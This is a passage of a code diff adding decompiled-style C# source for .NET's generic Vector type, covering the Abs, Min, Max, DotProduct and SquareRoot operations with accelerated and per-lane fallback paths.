Math.Abs(value.register.int64_1); + return value; + } + if (typeof(T) == typeof(float)) + { + value.register.single_0 = Math.Abs(value.register.single_0); + value.register.single_1 = Math.Abs(value.register.single_1); + value.register.single_2 = Math.Abs(value.register.single_2); + value.register.single_3 = Math.Abs(value.register.single_3); + return value; + } + if (typeof(T) == typeof(double)) + { + value.register.double_0 = Math.Abs(value.register.double_0); + value.register.double_1 = Math.Abs(value.register.double_1); + return value; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [System.Runtime.CompilerServices.Intrinsic] + internal unsafe static Vector Min(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (ScalarLessThan(left[i], right[i]) ? ((byte)(object)left[i]) : ((byte)(object)right[i])); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (ScalarLessThan(left[j], right[j]) ? ((sbyte)(object)left[j]) : ((sbyte)(object)right[j])); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ScalarLessThan(left[k], right[k]) ? ((ushort)(object)left[k]) : ((ushort)(object)right[k])); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (ScalarLessThan(left[l], right[l]) ? ((short)(object)left[l]) : ((short)(object)right[l])); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (ScalarLessThan(left[m], right[m]) ? ((uint)(object)left[m]) : ((uint)(object)right[m])); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (ScalarLessThan(left[n], right[n]) ? ((int)(object)left[n]) : ((int)(object)right[n])); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ScalarLessThan(left[num], right[num]) ? ((ulong)(object)left[num]) : ((ulong)(object)right[num])); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (ScalarLessThan(left[num2], right[num2]) ? ((long)(object)left[num2]) : ((long)(object)right[num2])); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (ScalarLessThan(left[num3], right[num3]) ? ((float)(object)left[num3]) : ((float)(object)right[num3])); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = (ScalarLessThan(left[num4], right[num4]) ? ((double)(object)left[num4]) : ((double)(object)right[num4])); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + Vector result = default(Vector); + if (typeof(T) == typeof(byte)) + { + result.register.byte_0 = ((left.register.byte_0 < right.register.byte_0) ? left.register.byte_0 : right.register.byte_0); + result.register.byte_1 = ((left.register.byte_1 < right.register.byte_1) ? left.register.byte_1 : right.register.byte_1); + result.register.byte_2 = ((left.register.byte_2 < right.register.byte_2) ? left.register.byte_2 : right.register.byte_2); + result.register.byte_3 = ((left.register.byte_3 < right.register.byte_3) ? left.register.byte_3 : right.register.byte_3); + result.register.byte_4 = ((left.register.byte_4 < right.register.byte_4) ? left.register.byte_4 : right.register.byte_4); + result.register.byte_5 = ((left.register.byte_5 < right.register.byte_5) ? left.register.byte_5 : right.register.byte_5); + result.register.byte_6 = ((left.register.byte_6 < right.register.byte_6) ? left.register.byte_6 : right.register.byte_6); + result.register.byte_7 = ((left.register.byte_7 < right.register.byte_7) ? left.register.byte_7 : right.register.byte_7); + result.register.byte_8 = ((left.register.byte_8 < right.register.byte_8) ? left.register.byte_8 : right.register.byte_8); + result.register.byte_9 = ((left.register.byte_9 < right.register.byte_9) ? left.register.byte_9 : right.register.byte_9); + result.register.byte_10 = ((left.register.byte_10 < right.register.byte_10) ? left.register.byte_10 : right.register.byte_10); + result.register.byte_11 = ((left.register.byte_11 < right.register.byte_11) ? left.register.byte_11 : right.register.byte_11); + result.register.byte_12 = ((left.register.byte_12 < right.register.byte_12) ? left.register.byte_12 : right.register.byte_12); + result.register.byte_13 = ((left.register.byte_13 < right.register.byte_13) ? left.register.byte_13 : right.register.byte_13); + result.register.byte_14 = ((left.register.byte_14 < right.register.byte_14) ? left.register.byte_14 : right.register.byte_14); + result.register.byte_15 = ((left.register.byte_15 < right.register.byte_15) ? left.register.byte_15 : right.register.byte_15); + return result; + } + if (typeof(T) == typeof(sbyte)) + { + result.register.sbyte_0 = ((left.register.sbyte_0 < right.register.sbyte_0) ? left.register.sbyte_0 : right.register.sbyte_0); + result.register.sbyte_1 = ((left.register.sbyte_1 < right.register.sbyte_1) ? left.register.sbyte_1 : right.register.sbyte_1); + result.register.sbyte_2 = ((left.register.sbyte_2 < right.register.sbyte_2) ? left.register.sbyte_2 : right.register.sbyte_2); + result.register.sbyte_3 = ((left.register.sbyte_3 < right.register.sbyte_3) ? left.register.sbyte_3 : right.register.sbyte_3); + result.register.sbyte_4 = ((left.register.sbyte_4 < right.register.sbyte_4) ? left.register.sbyte_4 : right.register.sbyte_4); + result.register.sbyte_5 = ((left.register.sbyte_5 < right.register.sbyte_5) ? left.register.sbyte_5 : right.register.sbyte_5); + result.register.sbyte_6 = ((left.register.sbyte_6 < right.register.sbyte_6) ? left.register.sbyte_6 : right.register.sbyte_6); + result.register.sbyte_7 = ((left.register.sbyte_7 < right.register.sbyte_7) ? left.register.sbyte_7 : right.register.sbyte_7); + result.register.sbyte_8 = ((left.register.sbyte_8 < right.register.sbyte_8) ? left.register.sbyte_8 : right.register.sbyte_8); + result.register.sbyte_9 = ((left.register.sbyte_9 < right.register.sbyte_9) ? left.register.sbyte_9 : right.register.sbyte_9); + result.register.sbyte_10 = ((left.register.sbyte_10 < right.register.sbyte_10) ? left.register.sbyte_10 : right.register.sbyte_10); + result.register.sbyte_11 = ((left.register.sbyte_11 < right.register.sbyte_11) ? left.register.sbyte_11 : right.register.sbyte_11); + result.register.sbyte_12 = ((left.register.sbyte_12 < right.register.sbyte_12) ? left.register.sbyte_12 : right.register.sbyte_12); + result.register.sbyte_13 = ((left.register.sbyte_13 < right.register.sbyte_13) ? left.register.sbyte_13 : right.register.sbyte_13); + result.register.sbyte_14 = ((left.register.sbyte_14 < right.register.sbyte_14) ? left.register.sbyte_14 : right.register.sbyte_14); + result.register.sbyte_15 = ((left.register.sbyte_15 < right.register.sbyte_15) ? left.register.sbyte_15 : right.register.sbyte_15); + return result; + } + if (typeof(T) == typeof(ushort)) + { + result.register.uint16_0 = ((left.register.uint16_0 < right.register.uint16_0) ? left.register.uint16_0 : right.register.uint16_0); + result.register.uint16_1 = ((left.register.uint16_1 < right.register.uint16_1) ? left.register.uint16_1 : right.register.uint16_1); + result.register.uint16_2 = ((left.register.uint16_2 < right.register.uint16_2) ? left.register.uint16_2 : right.register.uint16_2); + result.register.uint16_3 = ((left.register.uint16_3 < right.register.uint16_3) ? left.register.uint16_3 : right.register.uint16_3); + result.register.uint16_4 = ((left.register.uint16_4 < right.register.uint16_4) ? left.register.uint16_4 : right.register.uint16_4); + result.register.uint16_5 = ((left.register.uint16_5 < right.register.uint16_5) ? left.register.uint16_5 : right.register.uint16_5); + result.register.uint16_6 = ((left.register.uint16_6 < right.register.uint16_6) ? left.register.uint16_6 : right.register.uint16_6); + result.register.uint16_7 = ((left.register.uint16_7 < right.register.uint16_7) ? left.register.uint16_7 : right.register.uint16_7); + return result; + } + if (typeof(T) == typeof(short)) + { + result.register.int16_0 = ((left.register.int16_0 < right.register.int16_0) ? left.register.int16_0 : right.register.int16_0); + result.register.int16_1 = ((left.register.int16_1 < right.register.int16_1) ? left.register.int16_1 : right.register.int16_1); + result.register.int16_2 = ((left.register.int16_2 < right.register.int16_2) ? left.register.int16_2 : right.register.int16_2); + result.register.int16_3 = ((left.register.int16_3 < right.register.int16_3) ? left.register.int16_3 : right.register.int16_3); + result.register.int16_4 = ((left.register.int16_4 < right.register.int16_4) ? left.register.int16_4 : right.register.int16_4); + result.register.int16_5 = ((left.register.int16_5 < right.register.int16_5) ? left.register.int16_5 : right.register.int16_5); + result.register.int16_6 = ((left.register.int16_6 < right.register.int16_6) ? left.register.int16_6 : right.register.int16_6); + result.register.int16_7 = ((left.register.int16_7 < right.register.int16_7) ? left.register.int16_7 : right.register.int16_7); + return result; + } + if (typeof(T) == typeof(uint)) + { + result.register.uint32_0 = ((left.register.uint32_0 < right.register.uint32_0) ? left.register.uint32_0 : right.register.uint32_0); + result.register.uint32_1 = ((left.register.uint32_1 < right.register.uint32_1) ? left.register.uint32_1 : right.register.uint32_1); + result.register.uint32_2 = ((left.register.uint32_2 < right.register.uint32_2) ? left.register.uint32_2 : right.register.uint32_2); + result.register.uint32_3 = ((left.register.uint32_3 < right.register.uint32_3) ? left.register.uint32_3 : right.register.uint32_3); + return result; + } + if (typeof(T) == typeof(int)) + { + result.register.int32_0 = ((left.register.int32_0 < right.register.int32_0) ? left.register.int32_0 : right.register.int32_0); + result.register.int32_1 = ((left.register.int32_1 < right.register.int32_1) ? left.register.int32_1 : right.register.int32_1); + result.register.int32_2 = ((left.register.int32_2 < right.register.int32_2) ? left.register.int32_2 : right.register.int32_2); + result.register.int32_3 = ((left.register.int32_3 < right.register.int32_3) ? left.register.int32_3 : right.register.int32_3); + return result; + } + if (typeof(T) == typeof(ulong)) + { + result.register.uint64_0 = ((left.register.uint64_0 < right.register.uint64_0) ? left.register.uint64_0 : right.register.uint64_0); + result.register.uint64_1 = ((left.register.uint64_1 < right.register.uint64_1) ? left.register.uint64_1 : right.register.uint64_1); + return result; + } + if (typeof(T) == typeof(long)) + { + result.register.int64_0 = ((left.register.int64_0 < right.register.int64_0) ? left.register.int64_0 : right.register.int64_0); + result.register.int64_1 = ((left.register.int64_1 < right.register.int64_1) ? left.register.int64_1 : right.register.int64_1); + return result; + } + if (typeof(T) == typeof(float)) + { + result.register.single_0 = ((left.register.single_0 < right.register.single_0) ? left.register.single_0 : right.register.single_0); + result.register.single_1 = ((left.register.single_1 < right.register.single_1) ? left.register.single_1 : right.register.single_1); + result.register.single_2 = ((left.register.single_2 < right.register.single_2) ? left.register.single_2 : right.register.single_2); + result.register.single_3 = ((left.register.single_3 < right.register.single_3) ? left.register.single_3 : right.register.single_3); + return result; + } + if (typeof(T) == typeof(double)) + { + result.register.double_0 = ((left.register.double_0 < right.register.double_0) ? left.register.double_0 : right.register.double_0); + result.register.double_1 = ((left.register.double_1 < right.register.double_1) ? left.register.double_1 : right.register.double_1); + return result; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [System.Runtime.CompilerServices.Intrinsic] + internal unsafe static Vector Max(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (ScalarGreaterThan(left[i], right[i]) ? ((byte)(object)left[i]) : ((byte)(object)right[i])); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (ScalarGreaterThan(left[j], right[j]) ? ((sbyte)(object)left[j]) : ((sbyte)(object)right[j])); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ScalarGreaterThan(left[k], right[k]) ? ((ushort)(object)left[k]) : ((ushort)(object)right[k])); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (ScalarGreaterThan(left[l], right[l]) ? ((short)(object)left[l]) : ((short)(object)right[l])); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (ScalarGreaterThan(left[m], right[m]) ? ((uint)(object)left[m]) : ((uint)(object)right[m])); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (ScalarGreaterThan(left[n], right[n]) ? ((int)(object)left[n]) : ((int)(object)right[n])); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ScalarGreaterThan(left[num], right[num]) ? ((ulong)(object)left[num]) : ((ulong)(object)right[num])); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (ScalarGreaterThan(left[num2], right[num2]) ? ((long)(object)left[num2]) : ((long)(object)right[num2])); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (ScalarGreaterThan(left[num3], right[num3]) ? ((float)(object)left[num3]) : ((float)(object)right[num3])); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = (ScalarGreaterThan(left[num4], right[num4]) ? ((double)(object)left[num4]) : ((double)(object)right[num4])); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + Vector result = default(Vector); + if (typeof(T) == typeof(byte)) + { + result.register.byte_0 = ((left.register.byte_0 > right.register.byte_0) ? left.register.byte_0 : right.register.byte_0); + result.register.byte_1 = ((left.register.byte_1 > right.register.byte_1) ? left.register.byte_1 : right.register.byte_1); + result.register.byte_2 = ((left.register.byte_2 > right.register.byte_2) ? left.register.byte_2 : right.register.byte_2); + result.register.byte_3 = ((left.register.byte_3 > right.register.byte_3) ? left.register.byte_3 : right.register.byte_3); + result.register.byte_4 = ((left.register.byte_4 > right.register.byte_4) ? left.register.byte_4 : right.register.byte_4); + result.register.byte_5 = ((left.register.byte_5 > right.register.byte_5) ? left.register.byte_5 : right.register.byte_5); + result.register.byte_6 = ((left.register.byte_6 > right.register.byte_6) ? left.register.byte_6 : right.register.byte_6); + result.register.byte_7 = ((left.register.byte_7 > right.register.byte_7) ? left.register.byte_7 : right.register.byte_7); + result.register.byte_8 = ((left.register.byte_8 > right.register.byte_8) ? left.register.byte_8 : right.register.byte_8); + result.register.byte_9 = ((left.register.byte_9 > right.register.byte_9) ? left.register.byte_9 : right.register.byte_9); + result.register.byte_10 = ((left.register.byte_10 > right.register.byte_10) ? left.register.byte_10 : right.register.byte_10); + result.register.byte_11 = ((left.register.byte_11 > right.register.byte_11) ? left.register.byte_11 : right.register.byte_11); + result.register.byte_12 = ((left.register.byte_12 > right.register.byte_12) ? left.register.byte_12 : right.register.byte_12); + result.register.byte_13 = ((left.register.byte_13 > right.register.byte_13) ? left.register.byte_13 : right.register.byte_13); + result.register.byte_14 = ((left.register.byte_14 > right.register.byte_14) ? left.register.byte_14 : right.register.byte_14); + result.register.byte_15 = ((left.register.byte_15 > right.register.byte_15) ? left.register.byte_15 : right.register.byte_15); + return result; + } + if (typeof(T) == typeof(sbyte)) + { + result.register.sbyte_0 = ((left.register.sbyte_0 > right.register.sbyte_0) ? left.register.sbyte_0 : right.register.sbyte_0); + result.register.sbyte_1 = ((left.register.sbyte_1 > right.register.sbyte_1) ? left.register.sbyte_1 : right.register.sbyte_1); + result.register.sbyte_2 = ((left.register.sbyte_2 > right.register.sbyte_2) ? left.register.sbyte_2 : right.register.sbyte_2); + result.register.sbyte_3 = ((left.register.sbyte_3 > right.register.sbyte_3) ? left.register.sbyte_3 : right.register.sbyte_3); + result.register.sbyte_4 = ((left.register.sbyte_4 > right.register.sbyte_4) ? left.register.sbyte_4 : right.register.sbyte_4); + result.register.sbyte_5 = ((left.register.sbyte_5 > right.register.sbyte_5) ? left.register.sbyte_5 : right.register.sbyte_5); + result.register.sbyte_6 = ((left.register.sbyte_6 > right.register.sbyte_6) ? left.register.sbyte_6 : right.register.sbyte_6); + result.register.sbyte_7 = ((left.register.sbyte_7 > right.register.sbyte_7) ? left.register.sbyte_7 : right.register.sbyte_7); + result.register.sbyte_8 = ((left.register.sbyte_8 > right.register.sbyte_8) ? left.register.sbyte_8 : right.register.sbyte_8); + result.register.sbyte_9 = ((left.register.sbyte_9 > right.register.sbyte_9) ? left.register.sbyte_9 : right.register.sbyte_9); + result.register.sbyte_10 = ((left.register.sbyte_10 > right.register.sbyte_10) ? left.register.sbyte_10 : right.register.sbyte_10); + result.register.sbyte_11 = ((left.register.sbyte_11 > right.register.sbyte_11) ? left.register.sbyte_11 : right.register.sbyte_11); + result.register.sbyte_12 = ((left.register.sbyte_12 > right.register.sbyte_12) ? left.register.sbyte_12 : right.register.sbyte_12); + result.register.sbyte_13 = ((left.register.sbyte_13 > right.register.sbyte_13) ? left.register.sbyte_13 : right.register.sbyte_13); + result.register.sbyte_14 = ((left.register.sbyte_14 > right.register.sbyte_14) ? left.register.sbyte_14 : right.register.sbyte_14); + result.register.sbyte_15 = ((left.register.sbyte_15 > right.register.sbyte_15) ? left.register.sbyte_15 : right.register.sbyte_15); + return result; + } + if (typeof(T) == typeof(ushort)) + { + result.register.uint16_0 = ((left.register.uint16_0 > right.register.uint16_0) ? left.register.uint16_0 : right.register.uint16_0); + result.register.uint16_1 = ((left.register.uint16_1 > right.register.uint16_1) ? left.register.uint16_1 : right.register.uint16_1); + result.register.uint16_2 = ((left.register.uint16_2 > right.register.uint16_2) ? left.register.uint16_2 : right.register.uint16_2); + result.register.uint16_3 = ((left.register.uint16_3 > right.register.uint16_3) ? left.register.uint16_3 : right.register.uint16_3); + result.register.uint16_4 = ((left.register.uint16_4 > right.register.uint16_4) ? left.register.uint16_4 : right.register.uint16_4); + result.register.uint16_5 = ((left.register.uint16_5 > right.register.uint16_5) ? left.register.uint16_5 : right.register.uint16_5); + result.register.uint16_6 = ((left.register.uint16_6 > right.register.uint16_6) ? left.register.uint16_6 : right.register.uint16_6); + result.register.uint16_7 = ((left.register.uint16_7 > right.register.uint16_7) ? left.register.uint16_7 : right.register.uint16_7); + return result; + } + if (typeof(T) == typeof(short)) + { + result.register.int16_0 = ((left.register.int16_0 > right.register.int16_0) ? left.register.int16_0 : right.register.int16_0); + result.register.int16_1 = ((left.register.int16_1 > right.register.int16_1) ? left.register.int16_1 : right.register.int16_1); + result.register.int16_2 = ((left.register.int16_2 > right.register.int16_2) ? left.register.int16_2 : right.register.int16_2); + result.register.int16_3 = ((left.register.int16_3 > right.register.int16_3) ? left.register.int16_3 : right.register.int16_3); + result.register.int16_4 = ((left.register.int16_4 > right.register.int16_4) ? left.register.int16_4 : right.register.int16_4); + result.register.int16_5 = ((left.register.int16_5 > right.register.int16_5) ? left.register.int16_5 : right.register.int16_5); + result.register.int16_6 = ((left.register.int16_6 > right.register.int16_6) ? left.register.int16_6 : right.register.int16_6); + result.register.int16_7 = ((left.register.int16_7 > right.register.int16_7) ? left.register.int16_7 : right.register.int16_7); + return result; + } + if (typeof(T) == typeof(uint)) + { + result.register.uint32_0 = ((left.register.uint32_0 > right.register.uint32_0) ? left.register.uint32_0 : right.register.uint32_0); + result.register.uint32_1 = ((left.register.uint32_1 > right.register.uint32_1) ? left.register.uint32_1 : right.register.uint32_1); + result.register.uint32_2 = ((left.register.uint32_2 > right.register.uint32_2) ? left.register.uint32_2 : right.register.uint32_2); + result.register.uint32_3 = ((left.register.uint32_3 > right.register.uint32_3) ? left.register.uint32_3 : right.register.uint32_3); + return result; + } + if (typeof(T) == typeof(int)) + { + result.register.int32_0 = ((left.register.int32_0 > right.register.int32_0) ? left.register.int32_0 : right.register.int32_0); + result.register.int32_1 = ((left.register.int32_1 > right.register.int32_1) ? left.register.int32_1 : right.register.int32_1); + result.register.int32_2 = ((left.register.int32_2 > right.register.int32_2) ? left.register.int32_2 : right.register.int32_2); + result.register.int32_3 = ((left.register.int32_3 > right.register.int32_3) ? left.register.int32_3 : right.register.int32_3); + return result; + } + if (typeof(T) == typeof(ulong)) + { + result.register.uint64_0 = ((left.register.uint64_0 > right.register.uint64_0) ? left.register.uint64_0 : right.register.uint64_0); + result.register.uint64_1 = ((left.register.uint64_1 > right.register.uint64_1) ? left.register.uint64_1 : right.register.uint64_1); + return result; + } + if (typeof(T) == typeof(long)) + { + result.register.int64_0 = ((left.register.int64_0 > right.register.int64_0) ? left.register.int64_0 : right.register.int64_0); + result.register.int64_1 = ((left.register.int64_1 > right.register.int64_1) ? left.register.int64_1 : right.register.int64_1); + return result; + } + if (typeof(T) == typeof(float)) + { + result.register.single_0 = ((left.register.single_0 > right.register.single_0) ? left.register.single_0 : right.register.single_0); + result.register.single_1 = ((left.register.single_1 > right.register.single_1) ? left.register.single_1 : right.register.single_1); + result.register.single_2 = ((left.register.single_2 > right.register.single_2) ? left.register.single_2 : right.register.single_2); + result.register.single_3 = ((left.register.single_3 > right.register.single_3) ? left.register.single_3 : right.register.single_3); + return result; + } + if (typeof(T) == typeof(double)) + { + result.register.double_0 = ((left.register.double_0 > right.register.double_0) ? left.register.double_0 : right.register.double_0); + result.register.double_1 = ((left.register.double_1 > right.register.double_1) ? left.register.double_1 : right.register.double_1); + return result; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [System.Runtime.CompilerServices.Intrinsic] + internal static T DotProduct(Vector left, Vector right) + { + if (Vector.IsHardwareAccelerated) + { + T val = default(T); + for (int i = 0; i < Count; i++) + { + val = ScalarAdd(val, ScalarMultiply(left[i], right[i])); + } + return val; + } + if (typeof(T) == typeof(byte)) + { + byte b = 0; + b += (byte)(left.register.byte_0 * right.register.byte_0); + b += (byte)(left.register.byte_1 * right.register.byte_1); + b += (byte)(left.register.byte_2 * right.register.byte_2); + b += (byte)(left.register.byte_3 * right.register.byte_3); + b += (byte)(left.register.byte_4 * right.register.byte_4); + b += (byte)(left.register.byte_5 * right.register.byte_5); + b += (byte)(left.register.byte_6 * right.register.byte_6); + b += (byte)(left.register.byte_7 * right.register.byte_7); + b += (byte)(left.register.byte_8 * right.register.byte_8); + b += (byte)(left.register.byte_9 * right.register.byte_9); + b += (byte)(left.register.byte_10 * right.register.byte_10); + b += (byte)(left.register.byte_11 * right.register.byte_11); + b += (byte)(left.register.byte_12 * right.register.byte_12); + b += (byte)(left.register.byte_13 * right.register.byte_13); + b += (byte)(left.register.byte_14 * right.register.byte_14); + b += (byte)(left.register.byte_15 * right.register.byte_15); + return (T)(object)b; + } + if (typeof(T) == typeof(sbyte)) + { + sbyte b2 = 0; + b2 += (sbyte)(left.register.sbyte_0 * right.register.sbyte_0); + b2 += (sbyte)(left.register.sbyte_1 * right.register.sbyte_1); + b2 += (sbyte)(left.register.sbyte_2 * right.register.sbyte_2); + b2 += (sbyte)(left.register.sbyte_3 * right.register.sbyte_3); + b2 += (sbyte)(left.register.sbyte_4 * right.register.sbyte_4); + b2 += (sbyte)(left.register.sbyte_5 * right.register.sbyte_5); + b2 += (sbyte)(left.register.sbyte_6 * right.register.sbyte_6); + b2 += (sbyte)(left.register.sbyte_7 * right.register.sbyte_7); + b2 += (sbyte)(left.register.sbyte_8 * right.register.sbyte_8); + b2 += (sbyte)(left.register.sbyte_9 * right.register.sbyte_9); + b2 += (sbyte)(left.register.sbyte_10 * right.register.sbyte_10); + b2 += (sbyte)(left.register.sbyte_11 * right.register.sbyte_11); + b2 += (sbyte)(left.register.sbyte_12 * right.register.sbyte_12); + b2 += (sbyte)(left.register.sbyte_13 * right.register.sbyte_13); + b2 += (sbyte)(left.register.sbyte_14 * right.register.sbyte_14); + b2 += (sbyte)(left.register.sbyte_15 * right.register.sbyte_15); + return (T)(object)b2; + } + if (typeof(T) == typeof(ushort)) + { + ushort num = 0; + num += (ushort)(left.register.uint16_0 * right.register.uint16_0); + num += (ushort)(left.register.uint16_1 * right.register.uint16_1); + num += (ushort)(left.register.uint16_2 * right.register.uint16_2); + num += (ushort)(left.register.uint16_3 * right.register.uint16_3); + num += (ushort)(left.register.uint16_4 * right.register.uint16_4); + num += (ushort)(left.register.uint16_5 * right.register.uint16_5); + num += (ushort)(left.register.uint16_6 * right.register.uint16_6); + num += (ushort)(left.register.uint16_7 * right.register.uint16_7); + return (T)(object)num; + } + if (typeof(T) == typeof(short)) + { + short num2 = 0; + num2 += (short)(left.register.int16_0 * right.register.int16_0); + num2 += (short)(left.register.int16_1 * right.register.int16_1); + num2 += (short)(left.register.int16_2 * right.register.int16_2); + num2 += (short)(left.register.int16_3 * right.register.int16_3); + num2 += (short)(left.register.int16_4 * right.register.int16_4); + num2 += (short)(left.register.int16_5 * right.register.int16_5); + num2 += (short)(left.register.int16_6 * right.register.int16_6); + num2 += (short)(left.register.int16_7 * right.register.int16_7); + return (T)(object)num2; + } + if (typeof(T) == typeof(uint)) + { + uint num3 = 0u; + num3 += left.register.uint32_0 * right.register.uint32_0; + num3 += left.register.uint32_1 * right.register.uint32_1; + num3 += left.register.uint32_2 * right.register.uint32_2; + num3 += left.register.uint32_3 * right.register.uint32_3; + return (T)(object)num3; + } + if (typeof(T) == typeof(int)) + { + int num4 = 0; + num4 += left.register.int32_0 * right.register.int32_0; + num4 += left.register.int32_1 * right.register.int32_1; + num4 += left.register.int32_2 * right.register.int32_2; + num4 += left.register.int32_3 * right.register.int32_3; + return (T)(object)num4; + } + if (typeof(T) == typeof(ulong)) + { + ulong num5 = 0uL; + num5 += left.register.uint64_0 * right.register.uint64_0; + num5 += left.register.uint64_1 * right.register.uint64_1; + return (T)(object)num5; + } + if (typeof(T) == typeof(long)) + { + long num6 = 0L; + num6 += left.register.int64_0 * right.register.int64_0; + num6 += left.register.int64_1 * right.register.int64_1; + return (T)(object)num6; + } + if (typeof(T) == typeof(float)) + { + float num7 = 0f; + num7 += left.register.single_0 * right.register.single_0; + num7 += left.register.single_1 * right.register.single_1; + num7 += left.register.single_2 * right.register.single_2; + num7 += left.register.single_3 * right.register.single_3; + return (T)(object)num7; + } + if (typeof(T) == typeof(double)) + { + double num8 = 0.0; + num8 += left.register.double_0 * right.register.double_0; + num8 += left.register.double_1 * right.register.double_1; + return (T)(object)num8; + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + + [System.Runtime.CompilerServices.Intrinsic] + internal unsafe static Vector SquareRoot(Vector value) + { + if (Vector.IsHardwareAccelerated) + { + if (typeof(T) == typeof(byte)) + { + byte* ptr = stackalloc byte[(int)(uint)Count]; + for (int i = 0; i < Count; i++) + { + ptr[i] = (byte)Math.Sqrt((int)(byte)(object)value[i]); + } + return new Vector(ptr); + } + if (typeof(T) == typeof(sbyte)) + { + sbyte* ptr2 = stackalloc sbyte[(int)(uint)Count]; + for (int j = 0; j < Count; j++) + { + ptr2[j] = (sbyte)Math.Sqrt((sbyte)(object)value[j]); + } + return new Vector(ptr2); + } + if (typeof(T) == typeof(ushort)) + { + ushort* ptr3 = stackalloc ushort[Count]; + for (int k = 0; k < Count; k++) + { + ptr3[k] = (ushort)Math.Sqrt((int)(ushort)(object)value[k]); + } + return new Vector(ptr3); + } + if (typeof(T) == typeof(short)) + { + short* ptr4 = stackalloc short[Count]; + for (int l = 0; l < Count; l++) + { + ptr4[l] = (short)Math.Sqrt((short)(object)value[l]); + } + return new Vector(ptr4); + } + if (typeof(T) == typeof(uint)) + { + uint* ptr5 = stackalloc uint[Count]; + for (int m = 0; m < Count; m++) + { + ptr5[m] = (uint)Math.Sqrt((uint)(object)value[m]); + } + return new Vector(ptr5); + } + if (typeof(T) == typeof(int)) + { + int* ptr6 = stackalloc int[Count]; + for (int n = 0; n < Count; n++) + { + ptr6[n] = (int)Math.Sqrt((int)(object)value[n]); + } + return new Vector(ptr6); + } + if (typeof(T) == typeof(ulong)) + { + ulong* ptr7 = stackalloc ulong[Count]; + for (int num = 0; num < Count; num++) + { + ptr7[num] = (ulong)Math.Sqrt((ulong)(object)value[num]); + } + return new Vector(ptr7); + } + if (typeof(T) == typeof(long)) + { + long* ptr8 = stackalloc long[Count]; + for (int num2 = 0; num2 < Count; num2++) + { + ptr8[num2] = (long)Math.Sqrt((long)(object)value[num2]); + } + return new Vector(ptr8); + } + if (typeof(T) == typeof(float)) + { + float* ptr9 = stackalloc float[Count]; + for (int num3 = 0; num3 < Count; num3++) + { + ptr9[num3] = (float)Math.Sqrt((float)(object)value[num3]); + } + return new Vector(ptr9); + } + if (typeof(T) == typeof(double)) + { + double* ptr10 = stackalloc double[Count]; + for (int num4 = 0; num4 < Count; num4++) + { + ptr10[num4] = Math.Sqrt((double)(object)value[num4]); + } + return new Vector(ptr10); + } + throw new NotSupportedException(System.SR.Arg_TypeNotSupported); + } + if (typeof(T) == typeof(byte)) + { + value.register.byte_0 = 